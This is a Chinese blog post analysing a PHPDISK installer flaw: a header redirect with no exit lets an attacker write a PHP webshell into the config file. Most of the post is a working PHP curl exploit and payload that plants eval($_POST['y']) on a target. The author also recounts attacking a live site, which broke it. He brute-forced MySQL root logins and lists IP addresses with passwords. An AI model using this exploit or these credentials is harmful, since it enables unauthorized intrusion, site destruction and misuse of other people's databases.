php bypass shell,phpdisk 漏洞发布 phpdisk header bypass & getShell exp解析

本文详述了PHPDISK网盘系统的源码分析,揭示了一个安装过程中的安全漏洞。攻击者可以通过绕过Header跳转,在安装过程中直接写入恶意数据到配置文件,从而获取Shell。文章介绍了如何构造POST数据进行漏洞利用,并给出了利用curl执行exploit的代码示例。最后,作者展示了如何通过实际操作获取Shell并强调了谨慎使用可能导致安全问题的PHP函数。
摘要由CSDN通过智能技术生成

Author:Yaseng Team:CodePlay

1:代码审计

PHPDISK网盘系统是国内使用广泛PHP和MySQL构建的网络硬盘(文件存储管理)系统,笔者对其源码分析中,发现了一个很有意思的东东…..

a78f0e772e202e0170145e2f64628709.png

图一

图一为install下面的index.php,程序安装文件。看上起很正常的代码,当系统安装时,生成一个锁定文件,再次执行install时判断,这里他用了一个Header,而木有exit 。然而php中header 跳转之后代码还是向后执行,可以直接post 数据过去,再来看这个文件 。

a1cc90b5eaccd237e44c04c1e3d0d466.png

图二

安装流程全部靠$step,而step 又可以靠POST 控制。 继续找可以利用之处

复制代码代码如下:

$str = "<?php ".LF.LF;

$str .= "// This is PHPDISK auto-generated file. Do NOT modify me.".LF.LF;

$str .= "\$configs = array(".LF.LF;

$str .= "\t'dbhost' => '$dbhost',".LF.LF;

$str .= "\t'dbname' => '$dbname',".LF.LF;

$str .= "\t'dbuser' => '$dbuser',".LF.LF;

$str .= "\t'dbpasswd' => '$dbpasswd',".LF.LF;

$str .= "\t'pconnect' => 0,".LF.LF;

$str .= "\t'tpf' => 'pd_',".LF.LF;

$str .= "\t'charset' => '$charset',".LF.LF;

$str .= "\t'debug' => '0',".LF.LF;

$str .= ");".LF.LF;

$str .= "define('ADMINCP','admincp');".LF;

$str .= "?>".LF;

$fp = fopen($config_file,'w');

if (!$fp) {

exit("Can not open file $config_file .");

}

if(is_writable($config_file)){

if(@fwrite($fp,$str)){

$msg .= "{$config_file} ".__('write_success')."";

}else{

吧post 数据写入配置文件configs.inc.php,可以利用之,继续目测之。

function stripslashes_array(&$array) {

if (is_array($array)) {

foreach ($array as $k => $v) {

$array[$k] = stripslashes_array($v);

}

} else if (is_string($array)) {

$array = stripslashes($array);

}

return $array;

}

if (@get_magic_quotes_gpc()) {

$_GET = stripslashes_array($_GET);

$_POST = stripslashes_array($_POST);

}

哈哈,为了安装方便,竟然去掉了gpc,这下可以直接写入木马了。

2:漏洞利用& getShell 方法

查找写入配置的地方

复制代码代码如下:

$_l = mysql_connect($dbhost,$dbuser,$dbpasswd) or die(__('could_not_connect'). mysql_error());

if(!mysql_select_db($dbname,$_l)){

mysql_query("create database `{$dbname}`;") or die(__('invalid_query') . mysql_error());

}

@mysql_close($_l);

验证是否可以连接,错误的数据库信息直接退出哦了,看来不能乱写了,只能在dbpasswd 上面下功夫。

首先yy一下system 下的configs.inc.php 文件

'dbpasswd' => '',);?><?php eval($_POST['y']);?>',就可以直接 菜刀连接之

由于没有万恶的gpc 直接POST一个'dbpasswd' = '',);?><?php eval($_POST['y']);?>'

也就是此时的密码为: ',);?><?php eval($_POST['y']);?>

此时需要post的 数据包为:

$pass='\',);?><?php eval($_POST[\'y\']);?>';

$data="step=5&dbhost=localhost&dbuser=yaseng&dbname=yaseng&dbpasswd=".$pass;

当数据库信息正确时,成功写入一句话木马.

93dcaacb5975011eabd203005085adc5.png

图四

成功写入shell

3:getShell exp 编写 结束yy,我们来用php 中强大的curl exp,前文我们已然构造出post 传送的数据。然后在根据特征检测是否getShell ,具体代码如下(完整exp 见附件)。

复制代码代码如下:

$site = $argv[1]; //传入的 网站

$url= $site."/install/index.php";

$pass='\',);?><?php eval($_POST[\'y\']);?>';

$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass; //exploit data

$ch = curl_init($url);

curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch,CURLOPT_POST,true);

curl_setopt($ch,CURLOPT_POSTFIELDS,$data); //发送post 数据

$result=curl_exec($ch);

curl_close($ch);

$shell="http://".$site.'/system/configs.inc.php';

if(strpos(@file_get_contents($shell),'pconnect')){ //检测是否成功

echo "Hi guy I get the Shell:".$shell;

}else{

echo "Shit !!! This Site:$site Can not get Shell";

}

4:实战演示 其实这种拿shell 方式是极其缺德,破坏configs.inc.php,导致全站崩溃,俺找了个比较新的站点(目测没什么人) 主啊 原谅我吧 …… 实战一番.

找外连数据库啊.菜刀里面找了x个shell 皆不能外联,干 向朋友要了个mysql root 爆破工具,爆破了一批root 。

进入数据库成功... 98.126.4.252 root password

进入数据库成功... 98.126.4.253 root password

进入数据库成功... 98.126.4.250 root password

进入数据库成功... 98.126.4.251 root passwd

进入数据库成功... 98.126.4.254 root password

进入数据库成功... 98.126.4.252 root root123456

进入数据库成功... 98.126.4.253 root root123456

831ba70546bf7c700fe1600000abf75a.png

随便找了个,本地adminer(一个单文件php MySQL管理客户端) 进去改密码,此时发送的data为(如果不行 请大家自行更换可外链的mysql)

$pass='\',);?><?php eval($_POST[\'y\']);?>';

$data="step=5&dbhost=98.126.4.252&dbuser=root&dbname=mysql&dbpasswd=".$pass;

Php命令行下执行php phpdisk.php

83e2658105b2b4d36093f662a2461e23.png

Done,成功写入,菜刀连接。

bcbf1eb09d9e290b78d94fe1ef97caeb.png

Ko !!!

4:总结

本文是Header直接跳转导致绕过的典型文章,php函数使用强大而简单,同时我们不得不谨慎使用如header,preg_replace,eval 之类的危险函数,以免被非法利用。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值